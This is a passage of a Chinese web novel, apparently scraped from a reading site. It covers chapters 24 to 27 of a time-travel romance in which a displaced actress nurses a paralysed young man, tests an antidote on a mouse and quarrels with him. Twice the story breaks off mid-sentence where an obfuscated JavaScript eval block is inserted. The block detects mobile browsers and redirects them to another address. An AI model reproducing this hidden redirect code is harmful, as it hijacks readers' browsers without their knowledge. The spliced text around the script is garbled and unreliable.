“你说的对。”她只好表示赞同,而后话锋一转,“不过你别忘了,我可是要离开这里的,而且可能很快就会离开。所以我劝你,回头是岸!” 关若飞可能是被她的话点醒了,才反应过来眼前的女子有一天会离开这里,并且再也不回来了,呆呆地愣在了原地。 24. 荡漾的晚风 等叶之萤去厨房端了饭回来时,关若飞已经不在房间了。 “他不吃饭就走了?”她随口问了一句。 “他很失落。”温其玉答。 她笑了笑没说话,走到床边收拾桌上的纸和笔。 “这笔看样子年纪也不小了!”她震惊地摸着那已经被手指磨得有了凹凸纹路的笔杆。 “这是我的第一支笔。”他的语气依旧淡淡的。 “用了这么久啊!”她好奇地观察着笔尖的毛,实在看不出来是用了二十多年的样子。 “狼毫是换过的,换了之后便没有再用过了。”他看着她手中的毛笔,眼里的神情有些悲伤。 不知怎么就把话题引到这儿了,叶之萤心里也有些难受,怕他因此陷入情绪里,便安慰他:“你好好喝药,好好锻炼,以后肯定还有机会用的!” 他轻点了下头,看得出来,他只当她的话是一句平常而礼貌的安慰。 “你信我!你一定能再用这支笔的!”这一次,叶之萤的语气有力了许多,带着不容置疑的坚定。腥月草的作用有多大虽然还有待在老鼠身上证明,但她心里已经有了判断,它一定是有用! 温其玉眉心微蹙,仿佛是对她突然的认真有些不解。 “要不你试试,看能不能握住笔?你的右手最近不是可以活动一些了吗?”她突然想到,如果给他进行一些康复训练,是不是可以让他恢复得快一些? 于是还不等他同意,便兴奋的把桌子往他身前又靠近了一些。 “不。”他拒绝得干脆。 “别紧张,林大夫说你的右手恢复得不错,已经可以尝试着进行康复训练了,试一下吧!”她继续耐心劝他。 “不用。”他还是拒绝。 “总是要迈出第一步的,如果错过了最佳恢复时机,以后再想恢复就更难了,你试试嘛,说不定……” “拿走它吧!”他已经不高兴了,可良好的涵养还是让他极力压制住了心中的不悦。 但叶之萤不想就此作罢,她想,既然赶巧提起这事,自己索性就做一回恶人吧! 于是她不依不饶地劝他:“难道你不想有机会再拿起这支毛笔吗?难道你想一辈子都只能与床为伴,出不了门、下不了床、甚至翻不了身,连吃饭喝水都需要别人帮忙吗?” 他依旧不语,只是那双眼终于涌上了一层怒意。 她识趣地闭上了嘴。 过了一会儿,她偷偷观察他的表情,似乎也没有更生气,于是胆大包天地试图再一次挑战他的底线:“有些事第一次面对起来确实很难,但总是要迈出这一步的,总不能就这样自甘堕落吧?” 他的眼眸微微抬起,只望了他一眼,她就呆住了! 那双眼中有一些悲伤,但并不多。它们几乎完全被另一种令人震撼的情绪所占满——不屈服! 那是一双充满了斗志和欲望的眼睛,就像即将征服高山的攀登者的双眼,就像无畏命运风暴来袭的破风者的双眼。那双眼中全然没有对前路的畏惧和退缩,只有一往无前的坚定。这样的眼神,不仅和“自甘堕落”四个字毫无关系,甚至,叶之萤都很难将这样的双眼和它主人如今的状态联系起来。 没有人可以在这样一双眼睛的注视下保持平静。 叶之萤的目光就被这双眼睛死死地吸了过去,就像磁铁的N极被S极吸引那样,紧紧地粘在了温其玉的那双眼上,怎么拽也拽不下来。她几乎就要放弃抵抗,由着自己的目光在那张脸上放肆了,S极却突然主动撤退,她毫无准备,目光失去引力,“啪”一下掉在了地上。 胸口突然一空,好像连自己的心也跟着那双眼一同掉在了地上。 她将心捡起,重新装了回去,待疯狂的心跳重新恢复正常,才佯装淡定鼓励他:“温其玉,你一定能好的!” “你为何如此肯定我能好?连林大夫都不敢如此肯定!”对面的人眼神突然犀利起来。 “事在人为嘛!林大夫不是也说了你的情况正在好转?最重要的一点是,我相信你。”想到刚才他的眼神,叶之萤突然萌生出一个念头,温其玉或许根本不需要别人的开导。 他点了下头,似乎是在对她的信任表示赞许,转而又问她:“其实我好与不好,与你并无太大关系,更何况你我二人还曾经势如水火,吵得沸反盈天,你又何以对我的事如此在意?” 叶之萤自然地接上他的话:“势如水火那是之前,我早就不讨厌你了,你还讨厌我吗?” 温其玉被她这话问得一怔,嘴巴动了动却没有说话。 叶之萤看出他在紧张,便开玩笑道:“你紧张什么呀?要紧张也是我紧张,万一你回答还讨厌,那我多尴尬!” 他这才又笑了起来:“幸好,我的答案不会令你尴尬。” “所以你的意思是,不讨厌我了?”虽然她已经猜到了答案,但他亲口说出来,还是让她足够开心。 可他却摇起了头,吓得叶之萤又是一愣。 只听他说:“叶姑娘,我从未讨厌过你。” 她松了一口气,一秒钟之后,反应过来他说的不是“不讨厌了”,而是“从未讨厌”,又重新不可思议地望向他。 他认真解释道:“那段时间,似乎总是有一股外力逼着我发火,没能控制住自己的脾气,伤害了你,是我的错,抱歉!” 没有嘴硬狡辩,没有强词夺理,足以打败这世上百分之九十五的男人。叶之萤对他的好感因此又多了几分。 “你的道歉看起来还算有诚意,算了,我这个做姐姐的就原谅你一次吧!”她装作勉为其难的样子,其实心里对他的道歉相当受用。 “那就多谢叶姑娘的宽宏大量了。”他并没有顺着她的话承认她是姐姐。 叶之萤心里却始终有根刺未拔:“哎,我当时骂你骂得那么难听,你肯定在心里恨过我吧?” “我确实恨过你,但冷静后再想,你那不过是因为被我气坏了,才说的气话罢了,归根结底都是我的错。” 看到温其玉还主动为她辩解,并把所有错都揽到他自己身上,叶之萤脑子里不知怎的突然冒出了想要拥抱他的冲动。她被自己的冲动吓了一跳,不动声色的把这冲动扼杀在了摇篮里。 “我现在回答你的问题吧!”她说,“我之所以希望你能好起来,一方面是人都会有的恻隐之心,不忍心看着一个原本健康的人受这样的苦;另一方面是我现在也被困在一个摆脱不了的躯体中,不知道什么时候才能解脱,从某种意义上来讲,我们也算同命相连。所以,我能体会你的痛苦,也是真的希望你能摆脱困境!” “同命相怜?”他似乎并没有想到这个角度。 “你看我,我原本的身份、地位、金钱、工作、样貌,甚至我的父母、朋友,我的财产,还有我本该过的生活,一眨眼全都没了。如今的我从万众瞩目的大明星变成了一个籍籍无名的小丫鬟,还是一个……”本想说还是一个毒妇,还好及时住了口,李渔的事还没有调查清楚,她还是想等找出解药后再告诉他真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991647|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “真的没有回去的办法?”温其玉问。 “我到现在连自己是怎么来的都不知道,稀里糊涂的,实在是没有什么好法子,只能希望李渔在那边能想到好的办法吧!”她愁容满面,忍不住叹息起来,“只怕她在那边过得太开心,已经乐不思蜀了,又怎么会想着回来呢?” 说到这里,她突然想到了一件事,忙问他:“你知道李渔喝的是什么毒药吗?” “为何如此问?你想做什么?”他一下子警觉起来。 叶之萤也没隐瞒,对他坦诚相告:“我在想,要实在没别的办法,说不定喝了就能回去了!” “你休要胡来!小心到时候非但没有回去,反倒伤了性命!”他厉声警告她。 “我知道,不到万不得已我不会这么做的。这不是实在想不到别的办法才随口说说的嘛!我不会伤害李渔的,你放心!” 他又晃了一下神,而后开口道:“不光是她,也不要伤了你自己!” 他说这句话时的声音比刚才小了不少,叶之萤却听得分外清楚,她心生欢喜,激动地问他:“我可不可以理解为,你刚才是在关心我,而不是李渔?” 他没有回答她的话,却垂下了眼睑。 他的反应又一次印证了叶之萤的猜测,他之前对李渔的所谓感情其实全是被李渔用药物操控的! “那你现在看我这张脸,还有没有什么感觉?”她继续追问。 他的目光再一次挪上了她的脸,在她的脸上极其专注地看着,让她有些不自在。 许久后,他道:“这张脸如今已是你的气质。” “那你还会想她吗?”她试探着问。 “会。”一提起李渔,他的眼神显而易见变得冰冷起来,“我希望她能早些回来,这样你也能早日回去,继续过你该过的生活。而她,也应当回到属于她的地方,过她该过的生活。” 她该过的生活?叶之萤觉得这话似乎是有话外之音。他是不是已经猜到李渔作的恶了?那他猜到了多少?待她找确定了腥月草的作用,一定要问问他! “怎么?我说的不对?”他见她心不在焉,便问她。 叶之萤赶紧解释道:“没有没有,我觉得你说得很好!” 这时,她的肚子叫了起来。原来二人光顾着聊天,连饭都忘了吃。 窗外夕阳正艳,天空被一片热烈的红色笼罩,被染成粉色的大朵云彩在空中暧昧地纠缠,风儿掠过它们时,偷偷卷走了一团暧昧的空气,又将它们从开着的窗棂送进屋里来…… 两个人突然就都不说话了,神情也都有些不自在。叶之萤计算着阿力该来换班了,可她现在一点也不想离开这间屋子,便慢悠悠地收拾小木桌上的纸笔,再慢悠悠地把饭菜摆在上面,心里祈祷着阿力能晚点来。 床上的人突然打破了沉默:“明日,你能否教我重新握笔?” “你说真的?”叶之萤激动地差点把桌子掀翻。 他看着她,一副“你赢了”的表情。 “这可是你自己主动说的,我没逼你啊!”她得了便宜还卖乖,继续蹬鼻子上脸,床上的人也乐得配合地点着头。 直到阿力过来换班时,叶之萤还在开心地哼着歌。 “叶小姐,何事这么开心?”阿力走到她身旁八卦。 可此时叶之萤的眼里心里早已装不下别人了。 “明天见!”她笑着对床上的人道别,直到一只脚都踏出门槛了,目光还赖在某人的脸上不愿下来…… 25. 警告 叶之萤回房的第一件事就是去观察那只老鼠的变化。 连着一个星期,她每天都给老鼠喂药水,每晚都将沾了药水的手帕放进笼子,早上再取出。今天,当她走到笼子前,那老鼠一看到她,便立马眼神放光,虽然依旧四肢无力瘫倒在地,但身体却着急地颤抖着,爪子也在空中轻轻地拨动,全身都在使劲,想要站起来靠近她。 她立刻把沾了药水的手帕再次塞了进去。老鼠看到手帕,先是慢慢用舌头舔,舔着舔着,就“吱吱”地叫了起来。叶之萤记得小时候在《动物世界》里看到过,到了□□的季节,公鼠向母鼠求偶时,便会发出这样的叫声。 难怪那日中毒后自己会做那样的梦! 难怪一直拒绝李渔的温其玉会毫无缘由地突然离不开李渔! 如今白色药粉的毒性已然确定,接下来就该验证腥月草的解毒效果了。 翌日,叶之萤起了个大早,虽然小腹突感不适,但她还是在洗漱完毕后,第一时间赶到隔壁房间履行前一日与温其玉的约定。 “叶小姐,这么早!”阿力正在给温其玉洗漱更衣,见她居然这么早起床,惊讶得半天没回过神。 “醒得早,没什么事儿就过来了!”说完,她探头越过阿力的身体跟床上的人打招呼。 本想背着阿力冲他偷偷笑一下便罢,可又想到了进门时瞥见躺椅上还醒目地铺着自己做的那张软垫,脸上的笑便收不住得灿烂起来。 这样夸张的表情自然是躲不过阿力的双眼:“叶小姐今日何故如此开心?” “我……可能是这里的风水好吧,每次一进这屋子,心情不知道为什么就愉悦起来了!”她胡乱编了个理由,又朝床上的人做了个鬼脸。 床上的人轻轻摇了下头,对她的胡言乱语表示无可奈何。 站在床边苦等阿力做完该做的事,目送阿力出了门,叶之萤立刻迫不及待把小桌搬好,又将笔墨纸砚摆在了桌上:“我们开始吧!” 温其玉点头,他看上去有些紧张。 “我们今天只是试一下,放轻松。”叶之萤慢慢将他扶起,让他靠在床头坐好。 他确实恢复了不少,一个多月前,若不用软垫夹住他的身体两侧,他的上半身根本无力撑起,但现在,仅靠着床头,他就可以稳稳坐一段时间了。 叶之萤拉起他的右手,把笔放在他手里,又分别把每根指头摆在笔杆上该捏的位置。 可每次她刚摆好一根指头,其他指头就会无力地顺着笔杆滑下去,根本不能固定在那个位置,来来回回试了很多次都不行。 她不想放弃,不想温其玉刚刚燃起的希望就这样草草被浇灭。但试过之后她也已然明了,他现在根本还没到能握笔的状态,无论再怎么试,他也不可能握得住,是自己太激进了。 可是,今日之事本就是她的提议,是她硬给了温其玉希望,如果这次没能成功,温其玉日后岂不是更排斥类似的训练?她岂不是搬起石头砸了自己的脚? 正在她发愁不知道该怎么办的时候,温其玉却不紧不慢地开口了:“叶姑娘,劳烦拿支干净的笔来,我如今还无力将笔握起,还是先从抓笔练起吧。” 他看起来依旧很平静,一点也没有因为刚才的插曲产生挫败,叶之萤心中的焦虑也随之缓解了不少。 她按他的吩咐把笔洗干净,收掉了砚台和宣纸,整张小桌上就放了一只毛笔,又把他的右手放在毛笔旁边很近的地方,他只需要稍微伸伸手指就可以碰到。可即使如此,他试了一次又一次,还是做不到。 屋外的嘈杂声渐甚,朝阳也越攀越高,温其玉的额头上以肉眼可见的速度渗出了细密的汗珠,可明明已经使出了全力,手指旁的那根笔始终纹丝未动。 虽然他看起来情绪还算稳定,但叶之萤的心已经越坠越深了,她意识到自己犯了一个巨大的错误,而比这更糟糕的是,事情发展至此,她还没想到收场的办法…… 心慌意乱之下,她一把抱住了眼前的人。 她并没有看到温其玉的反应,也不知道他是否愿意,她只知道当自己靠近他的时候,他并没有挣扎——他本就无力挣扎。 一切都戛然而止了。 温其玉在她怀里僵住,仿佛被点了穴一般。 “今天拿不起来也没关系,我们慢慢来,我会陪着你的。”她小心翼翼地安慰着他。 “你在可怜我?”突然,她的耳边响起了他的声音,冷漠交织着戏谑。 她的身体被这句话施了定身术,僵在了他的身体之上。 可怜他?自己从没有这样想过啊! “我没有。”她在他耳边否认。 温其玉将原本挨着她肩膀的头挪开了,对于一个只有头部能活动的人来说,这已经是显而易见的拒绝了。 她心一凉,松开了他。 “我没有可怜你,我只是……”她想解释,可开了口又不知道该解释些什么,连她自己都搞不清楚,刚才怎么就稀里糊涂抱住了他。她只知道,看到他那么努力却依然握不住笔,那一刻,自己突然就对他充满了心疼和怜惜。那是可怜吗? 眼前的人打量着她,那双即使在一次次握笔失败的打击下也始终保持着平静的眸子现下却涌上了一层显而易见的愠色。 叶之萤随即收了声。她被温其玉这样的眼神深深伤害了。她想,就算他因为没拿起毛笔而愤怒,也不该迁怒于自己、践踏自己的好意!自己不过是想安慰他而已! 她的眼里同样涌起一层愠怒。 二人就这样一言不发,对视了许久。最后,还是叶之萤没忍住先开了口:“我没有可怜你。我只是意识到自己不该这么着急,我怕自己这个鲁莽的决定会让你对自己丧失信心,才想要弥补一下。” 谁知,温其玉却笑了起来,反问她:“用这样的方式弥补?” 叶之萤被问得哑口无言。 温其玉见她不语,又问:“若非可怜我,你这样养尊处优惯了的人又为何愿意放下身段伺候我?” “那不是因为没办法吗?”她解释道,“就算我以前是大明星,但到了这里又有什么用?落难凤凰不如鸡,连吃住都没找落,我还有什么身段不能放下的?” “那你又为何要为我缝那张软垫?就算你是因为没法子才勉强来照顾我,又何必为难自己做那些没必要的事情?”他不依不饶。 “我只是猜想你很久都没出过门了,应该也想去外面看看吧,这才答应了关衙内。这怎么能是可怜你呢?”叶之萤觉得温其玉似乎话里有话,他为什么要突然追究这些事情?还有,为什么自己会被他问得心里发虚? “所以你是觉得我每日只能躺在床上,不能出门很可怜?” 这人又开始无理取闹,而叶之萤暴躁的脾气也被他勾了上来:“你根本就是在抬杠!恻隐之心人人都有,如果我举手之劳就能给别人带来一些快乐,为什么我不能那么做?赠人玫瑰手有余香,难道这世上的所有善意都必须源自于可怜和同情吗?” 才吼了几句,又想到刚来那时二人的状态,眼看现在二人关系渐好,她实在不想又一次回到和他针尖对麦芒的状态了,便说:“算了,你愿意怎么想就怎么想吧,我不想跟你吵了。” 说完就开始动手收拾小桌。正所谓昨天有多激动,今天就有多失望!她悔得肠子都青了,自己在这儿或许也待不了多久,就维持现状、和他相敬如宾不好吗?好好的多管什么闲事?提什么康复训练?等自己离开 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“你就这么急不可耐想赶我走吗?那你昨天又干嘛主动让我陪你复健?你是不是有毛病?简直不可理喻……”还没骂完,小腹毫无征兆猛地一抽,紧接着腹部一阵剧痛袭来,疼得她倒吸一口气,连一个字都说不出来了。 “你,你怎么了?”床上的人看到她突然痛苦的样子,在意识到问题的严重性后,主动放弃了与她的争吵。 叶之萤却没那么容易消气,她忍着疼,咬牙切齿挤出了几个字:“不关你事!” 床上的人不敢再惹她生气,默默闭上了嘴。 捂着肚子在地上蹲了一会儿,叶之萤发现这痛感不仅没有结束的意思,反而愈加剧烈了,就像涨潮时的浪头,一浪高过一浪。小腹里似乎有一双手,正在残忍地撕开她的子宫。她疼得跪在了地上,连呼吸都在发抖,细密的汗水很快铺满了额头,身体也缩成了一团。 温其玉见状,忙对着门口唤阿力,可叫了十几声都没人答应。原是关若飞想喝酒,阿卓又不熟悉黎城,阿力看自家少爷有叶之萤照顾,便放心带着阿卓出门买酒去了。 “你……你到底怎么了?”始终叫不应阿力,向来性子沉稳的他也慌了起来。叶之萤整张脸都埋在身下,他看不清她的表情,又听不见她的回答,只能看到她不住地发抖,于是一心急,身子向右一倒,直接把自己摔到了她身边。 “别怕,你应该……是来月事了。”他抽了一口气,趴在她身边安慰她。 “你……疯了!”叶之萤已经疼得连说话的力气都没了,却还是没忍住回头对着姿势扭曲的他骂了一句,骂完后,却不忘再问一句,“摔……疼……没?” “别担心,我没事。”他看着她因疼痛而无处安放的双手,道,“你若是痛得无处发泄,就掐我吧。” 她瞪了他一眼,心想真是个疯子,十指的指甲却死死地抠向地面。 旁边的人又说:“你尽量深呼吸,按我说的做。” 叶之萤又朝他翻了个虚弱的白眼,心想你懂个P啊,痛过经吗就按你说的做? 温其玉没理会她的小性子,继续道:“找到膝盖中间往左两指,再向上四指的位置,用力按下去,可暂时缓解几分疼痛,你可还有力气动?” 叶之萤听他说得有模有样的,这才信了他,于是艰难地换了个姿势,在他耐心地指挥下找到了那个穴位,使全力按了下去,十几秒后,小腹的撕裂感果然略有缓解,至少有力气发出声音了。 “现在感觉如何?”他满脸焦急。 “死……不了!咱俩的事……还没完!”她咬牙切齿道。 温其玉失笑。 一阵脚步声由远至近,是阿力回来了。 26. 报仇 阿力一进门,就看到两人都姿势扭曲地倒在床边,赶紧往温其玉身边跑,却被他呵止:“先把叶姑娘扶到榻上去。” 阿力只好听令先搀扶起叶之萤,又将自家少爷抱上了床。之后,叶之萤又想吐,阿力便拿了木盆让她吐在里面,又按温其玉的吩咐去厨房找李大娘询问处理月事的办法。 叶之萤跪在榻上,已经痛得目光呆滞,心里还骂骂咧咧的:这个李渔,全身上下没一处自己能看得上眼的也就罢了,居然还痛经!还痛得这么严重,净害人!祸害精! 想着想着,胃里又一阵恶心。她想起大学时,宿舍里有个女生痛经严重,每个月例假第一天都痛得死去活来,上吐下泻,布洛芬就是那个女生必备的救命神药。而她这个从不痛经的人如今也体验到了这生不如死的感觉。 “叶姑娘,你试着深呼吸,或许能缓解一些。”温其玉仰起头,以一个看着都难受的姿势看护着她。 “闭嘴!不想……听你……说话!”即使已经疼得全身颤栗了,她还是逮着机会就要发泄心中对他愤怒。 他真的闭了嘴,很久都没有再开口。她又忍不住偷偷瞥了他一眼,发现他虽没说话,但目光正紧张地钉死在她身上,她一转头,他就急着想从她现下的表情中推测出她的状态。于是她故意把头埋在身下,就是不给他看自己的表情。 又过了一会儿,阿力终于回来了,关若飞也和他一起,叶之萤看到阿力手里拿着一些破布条和一些燃烧后的麦秆,而关若飞则端着一碗热汤。 难道…… 不会吧???!!! 叶之萤实在不能也不愿把这些破烂一样的东西和卫生用品联系在一起。 “这些……不会是……”她谨慎地跟二人求证。 看到阿力点头的那一刻,她盯着他手中那些破烂的布条和肮脏的草木灰,这些日子以来心里的所有委屈就像是被剧烈摇晃后才打开的碳酸饮料,止不住地往外溢,溢得到处都是,溢得浑身上下都沾满了委屈,溢得一颗充盈的心都变成了空心。 关若飞把手里的碗端到她面前:“夜莺,先喝了这碗红糖姜水,再把这些……小心弄脏了衣裳。” “不用,我不用!我死也不用!”她一把抢过阿力手里那些垃圾,使劲扔了老远,趴在榻上嚎啕大哭。 关若飞将那些东西捡了回来,似乎还想说什么,却被床上的人摇头制止。谁都没再出声,直到她再也没力气哭了,自己摇晃着从塌上站了起来。 曾经的叶之萤,是那么完美的女明星。妆容艳丽、体态挺拔,笑容迷人,举手投足尽显妩媚和优雅,就连发丝的弧度要定型成最完美的样子。 而现在,她已不再是叶之萤了,她变了样子,变了活法,再无半分光鲜亮丽,月经时只能用那些脏兮兮的破布烂杆儿,还遭到温其玉无情的嫌弃和驱赶!在他眼里,自己恐怕就是一张粘在他身上想扯却扯不掉的狗皮膏药吧? 堂堂大明星,怎么就会沦落至此呢? 她红着眼眶,在三双眼睛的注视下,带着身后那一片刺眼的殷红,蓬头垢面、脏衣乱衫地出了门,狼狈得如同泥潭里的一条狗。 可她一点也不在意这些了,此刻她心里想的只有一件事:要么走,要么死! 关若飞跟在她身后,到她房门口,被拒之门外。 “我想休息会儿,你走吧!”她太疲惫了,连说话都没了力气。 “夜莺,难受的话别忍着,一定要告诉我!”临走前,他不放心地叮嘱她。 回房后,叶之萤找了一些干净的薄衣服垫在身子下面,又擦干净身体,换掉了身上的脏衣服,喝了些热水,就躺在床上休息了。 刚才的那一幕实在太过于魔幻,她居然向一群男人请教来月经该怎么办!剧本都不敢写的内容竟然真实的发生在她身上,为此,她躺在床上笑了很久,笑着笑着,眼泪又流了出来。 不久,关若飞又来敲门。 “门没锁,进来吧!” 他端了一碗还冒着热气的汤药,进来后,用脚把凳子勾到床边坐下:“这是我为你熬的蜂蜜枣姜水,对你现下的症状有好处,喝一点吧!” “你熬的?”叶之萤有些不敢相信。 他道:“是啊,儿时见我娘喝过,就依葫芦画瓢熬了一份,来,尝尝。” 他很自然地从碗里舀了一勺,把汤匙递到了叶之萤嘴边。 叶之萤一愣,犹豫着该不该张口。 他却一眼看穿了她的心思:“你看你如今这虚弱的样子,就别跟我客气了,只是好友间的关心罢了,喝吧。” 叶之萤没有再拒绝他的好意,这汤入口甜滋滋的,咽到胃里全身都暖和了,已经空空如也的心也涌进了一股暖流。 关若飞走后没多久,阿力也来了,为她送来了一个小火炉、一壶红糖水、一只包着布的小暖炉和一个小包裹。 水壶架在火炉上,里面的红糖姜水一直温温地咕嘟着,屋里不久就弥漫了一股能宁神静气的生姜味道;原本烫手的暖炉加了一层布套,放在肚子上温度正合适。 而那只小包裹,里面包着的是一些洁白的棉花和干净的素色布带,布带是两块缝在一起的,侧边留一个小口,是用来装棉花用的。 看着关若飞和阿力都这么有心,而唯独自己尽心照顾了那么久的某人,却连一句关心的话都没有让旁人捎来,叶之萤不免觉得心寒! 她躺在床上,脑子一片混乱,渐渐的,那些乱麻都聚在了一起,织成了一条明朗的线——自己继续留在这里的意义是什么? 这条线越织越长。 如果真的再也回不去了,那么留在这里,就只是苟延残喘维持一条命吗? 如果后半辈子都要像现在这样憋屈窝囊地活着,连基本的卫生都保证不了,自己能接受吗? 她将这条线一把扯出!混乱的大脑瞬间变得异常清醒。 这样的日子多过一天对她都是无尽的折磨!她习惯了众星捧月,不想一辈子寄人篱下、看尽脸色;她也习惯了奢靡放纵,不能过没有自由、没有金钱的生活;她习惯了商场、酒吧、医院、高楼,习惯了商务座、头等舱,见识过那样美好的世界,后半辈子绝对不能在这样的“原始”社会憋屈的活! 是因快乐而活着,还是为了活着忍受痛苦?这一刻,叶之萤有答案了。 夜里,她梦到许久不见的母亲握着她的手,趴在床边哭着叫她,而她就在母亲身边,母亲却看不到她…… 那个梦极其悲伤,仿佛是母女间的告别。叶之萤哭着从梦里醒来,却发现自己还在李渔的房里。小腹已经完全不疼了,她宛若新生。 此时天还没亮,但她已经睡意全无,昨日去温其玉房间前,她顺手将一些晒干的腥月草在笼外点燃,后来因为不舒服,一直没有再去观察老鼠的情况。 而此时,那只因中毒而瘫痪的老鼠四肢已经可以活动了,它躺在笼中,四条腿不停地踢着空气,爪子用力抓地,努力地想要翻身站起来。 这个变化令叶之萤激动万分。她原本以为至少得熏四五次才会有效果,可没想到才一天就看到了这么明显的变化。看来连老天都想让她早点告诉他真相,好让她早点摆脱这过不下去了的苦日子! 她又点了一堆腥月草,就去温其玉房里上岗了。 温其玉显然是没有想到她会来得这么早,或者他以为她今天根本不会来,待她走近后,他的目光停留在她的小腹上。 “叶小姐,怎么不多休息休息?”一旁的阿力关心她。 她斜蔑了床上的人一眼,气冲冲道:“我一个丫鬟,哪有那么矫情!” 床上的人不自然地深呼吸了一下。 “对了阿力,谢谢你送去的东西!” 阿力瞥了眼温其玉,不好意思地回她:“叶小姐别客气,举手之劳而已。” “兄长……”正说着,关若飞的大嗓门就从门外飘了进来。 “诶,夜莺,你怎么过来了?快回去躺着,我已经跟兄长说好了,今日让阿卓过来帮忙!” “多谢关心,我已经好了。更何况我还领着人家的月钱,要是光拿钱不出力,少爷该骂人了!” 关若飞听她如此阴阳怪气,还替那人说好话:“怎么会呢,兄长自然不是那样的人,你别多心了,快回去休息……” “既然你已经无碍,就过来给我洗漱。阿力,你忙你的去吧。”温其玉丝毫没有给关若飞面子,两句话就啪啪打了他的脸。 叶之萤冲愣在原地的关若飞冷笑一声,便走到了床边。 “那……我再去为你熬些蜂蜜枣姜水。”关若飞给自己找了个台阶,迅速离开了房间。 叶之萤想沾湿手帕为温其玉擦脸,却发现盛水洗漱的木盆是昨天被自己吐过的那个,于是拿着帕子迟迟下不去手,犹豫要不要换个盆。 “你在做什么?”他看她半天不动,便问她,似乎是真不明白她犹豫的原因。 难道他忘了?昨天才发生的事,不应该啊! “这盆……”她试图提醒他。 不等她说完,他就不耐烦地打断了她:“有问题?” 行吧,反正是给你用,既然你觉得没问题,我能有什么问题?她直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991649|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接把帕子浸到了水里…… 带着积攒了一天一夜的火气,她今日对温其玉的态度不可谓不恶劣。 为他擦脸时,用力得像在搓衣板上搓衣服,他苍白的皮肤被擦得通红一片;喂药时,汤药滴在他干净的衣服上,弄得到处都是斑驳;喂饭时,又故意猛朝他嘴里塞吃的,他来不及吞咽,吃得十分狼狈,不住地扭头反抗,她就是不停手,一边使劲塞,一边得意地看着那张俊朗的脸逐渐沾满了油腻的饭渣。 二人仿佛在暗暗较劲,谁也不先开口。直到温其玉的口中再塞不下吃的了,他又一挣扎,没想到力量太大,带得整个上半身都向右倒去,太阳穴不巧磕在床沿上,发出一声闷响。 他倒在那里也起不来,只是愤怒地看着她,嘴里还含着没咽下去的饭。 叶之萤看着他那明明无助却倔强嘴硬的样子,憋在心里一天一夜上不来也下不去的那口气终于顺了。 她把他重新扶了起来,为他擦掉了嘴上的饭渣油腻。他被气得面色铁青,青筋暴出,却依旧一言不发。 “你不高兴吗?”她明知故问,收获了一个冷漠的眼神。 她委屈地皱起了眉:“你昨天说我是因为可怜你才对你好,那我现在这样对你,不正说明我没有可怜你吗?你还说,让我不要对照顾你太过上心,你看,我全都按你说的做了,你应该开心才对啊!为什么要这样看我?” 说话间,她拉起他的胳膊开始为他按摩。 “不要碰我!”他的声音都在发抖,看得出来,他快要气炸了,叶之萤对自己今日的发挥很是满意。 “这是我的工作,你给我发工钱,我可不能白拿钱不干活,要不然,你岂不是更看我不顺眼?”她并没有松手,继续为他按着。 他深吸了口气,而后命令她:“你出去!” 他的右边太阳穴因为刚刚的撞击起了一道显眼的红印,眼眶和耳朵也都因为愤怒而变得通红。 叶之萤心中燃起一股大仇得报的畅快。于是她松开他的胳膊,结束了这场复仇。 她收拾了桌子,并没有理会他让她出去的命令,而是在书架上取了一本《诗经》,心不在焉地翻看着。 而温其玉呢,可能是知道即使自己吼破喉咙她也不会听他的令,为免自取其辱,也没有再叫她出去。只是在床上安静地坐着。 过了一会儿,关若飞端着一碗蜂蜜枣姜水又来了。 “夜莺,快趁热喝了!”他好像已经忘了刚才的不快。不得不说,这个豁达的心胸叶之萤是真心佩服的。 而她自己就不同了,锱铢必较,有仇必报。若是有仇不能得报,她就抓耳挠腮得难受,日日不得解脱,非要报了仇才舒坦。 “诶,兄长额头怎么了?”他发现了温其玉头上的伤,忙放下碗来到了床边。 “那个,刚才我……” 叶之萤还在头脑风暴该怎么给关若飞解释,就被温其玉抢了先:“是我方才自己没坐稳磕到了头,不碍事。” 他的语气淡到叶之萤听不出一点情绪,她却心头一紧,心虚地低下了头。 “要不要请林大夫过来瞧瞧?”关若飞看着那道印,有些不放心。 “不用。”温其玉干脆地拒绝。 关若飞看他如此坚决,也不好再强迫,只说:“无碍便好!” 又把那碗汤端到叶之萤面前,主动献殷勤:“夜莺,来,我喂你喝!” 叶之萤正因为刚才的事心烦意乱,哪还有心思跟他玩笑:“你放那儿吧,我等下喝。” “昨日都是我喂你的!”他完全没发现她的异常。 “昨天是昨天,今天是今天!”叶之萤不耐烦地提高了声音。 “好你个叶之萤,还真会过河拆桥,昨日身子不适就需要我,今日好了便推开我!” “你要是再胡说八道,我……”她这会儿脑子正乱,话说了一半,竟不知道接下来该说什么了。 关若飞却笑起来:“夜莺,原来你也有说不出话的时候啊,好可爱!” 叶之萤实在是服了这种连一点眼色都没有的人,白了他一眼,指着他的头说:“你这里是不是不正常?要不让林大夫给你也开点药吃吃?” 又从他手中接过那碗姜茶,一饮而尽:“谢谢,你可以走了!” 然后便不再搭理他,自己坐在桌边烦躁地翻起了书。 关若飞在原地又站了一会儿,才意识到今日这屋子里的空气似乎格外稀薄,有种让人透不过气的压抑,隐隐觉得发生了什么,却见那二人都没有要说与他听的意思,只能带着空碗一头雾水地离开了…… 27. 告别 